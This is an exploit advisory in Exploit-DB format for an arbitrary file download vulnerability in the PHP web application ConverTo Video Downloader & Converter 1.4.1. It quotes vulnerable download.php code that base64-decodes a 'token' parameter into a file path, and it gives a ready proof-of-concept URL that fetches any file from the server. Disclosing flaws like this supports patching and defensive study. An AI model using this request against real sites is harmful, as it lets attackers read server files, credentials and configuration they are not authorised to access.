# # # # # 
# Exploit Title: ConverTo Video Downloader & Converter 1.4.1 - Arbitrary File Download
# Dork: N/A
# Date: 29.09.2017
# Vendor Homepage: https://codecanyon.net/user/lemonadeflirt
# Software Link: https://codecanyon.net/item/converto-video-downloader-converter/13225966
# Demo: http://vd.googglet.com/
# Version: 1.4.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The security obligation allows an attacker to arbitrary download files..
#
# Vulnerable Source:
#
# .............
# <?php
# 
# include_once('.......php');
# // Check download token
# if (empty($_GET['mime']) OR empty($_GET['token']))
# {
#   exit('Invalid download token 8{');
# }
# 
# // Set operation params
# $mime = filter_var($_GET['mime']);
# $ext  = str_replace(array('/', 'x-'), '', strstr($mime, '/'));
# $url  = base64_decode(filter_var($_GET['token']));
# $name = urldecode($_GET['title']). '.' .$ext; 
# 
# ?>
# .............
# Proof of Concept:
#
# http://localhost/[PATH]/download.php?mime=video/webm&title=Efe&token=[FILENAME_to_BASE64]
# 
# Etc...
# # # # #